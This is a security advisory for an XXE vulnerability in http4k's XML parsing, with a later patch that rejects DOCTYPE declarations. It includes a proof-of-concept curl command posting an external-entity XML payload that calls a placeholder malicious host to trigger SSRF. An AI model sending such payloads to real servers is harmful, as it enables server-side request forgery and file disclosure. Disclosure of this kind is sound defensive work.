GHSA-7mj5-hjjj-8rgw: http4k has a potential XXE (XML External Entity Injection) vulnerability
Summary_Short summary of the problem. Make the impact and severity as clear as possible. For example: An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the server._There is a potential XXE(XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances.Details_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._
https://github.com/http4k/http4k/blob/25696dff2d90206cc1da42f42a1a8dbcdbcdf18c/core/format/xml/src/main/kotlin/org/http4k/format/Xml.kt#L42-L46
XML contents is parsed with DocumentBuilder without security settings on or external entity enabledPoC_Complete instructions, including specific configuration details, to reproduce the vulnerability._Example Vulnerable server code:Maven dependency:Exploit payload example to trigger SSRF`curl -X POST http://localhost:9000 -H "Content-Type: application/xml" -d "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [<!ENTITY xxe SYSTEM \"https://replace.with.your.malicious.website/poc\">]><root>&xxe;</root>"`Impact_What kind of vulnerability is it? Who is impacted?_
The servers that employ this XML parsing feature of http4k are vulnerable to this XXE vulnerabilityFollow-up patch — v6.50.0.0 (May 2026)The original fix shipped in v5.41.0.0 / v4.50.0.0 closed the documented external-entity attack class (SSRF, local-file disclosure, code execution) by setting `ACCESS_EXTERNAL_DTD=""`, `ACCESS_EXTERNAL_SCHEMA=""`, and `isExpandEntityReferences=false` on the default `DocumentBuilderFactory`.A residual gap remained: the parser still **accepted** documents containing `<!DOCTYPE>` declarations even though external entity resolution was blocked. This left open billion-laughs-style internal entity expansion DoS attacks against any application using `Body.xml()` or `Document.asXmlDocument()` on untrusted XML.**v6.50.0.0** closes this residual by adding `disallow-doctype-decl=true` and `FEATURE_SECURE_PROCESSING=true` to `defaultXmlParsingConfig`. Any document containing a `<!DOCTYPE>` is now rejected at parse time.Follow-up affected & fixed versions| Version | Fixed Version |
  |---------|---------------|
  | `>= 5.41.0.0, < 6.50.0.0` | **6.50.0.0** |v6.x users should upgrade to v6.50.0.0. The patch is part of the v6.50.0.0 release; no separate backport is required for the v6 line. Older v5 / v4 users remain on the v5.41.0.0 / v4.50.0.0 fix (external-entity protection); the billion-laughs residual is fixed in those lines only via http4k EE LTS releases — contact [enterprise@http4k.org](mailto:enterprise@http4k.org) if you need it.Follow-up timeline| Date/time (UTC) | Notes |
  |-----------------|-------|
  | 31/05/2026 17:12 | Follow-up patch merged (commit [`c0cfaf5d63`](https://github.com/http4k/http4k/commit/c0cfaf5d63)) with new tests for `<!DOCTYPE>` rejection and billion-laughs payload rejection |
  | 31/05/2026 18:06 | http4k v6.50.0.0 released to Maven Central |
CVSS v3.1: 9.8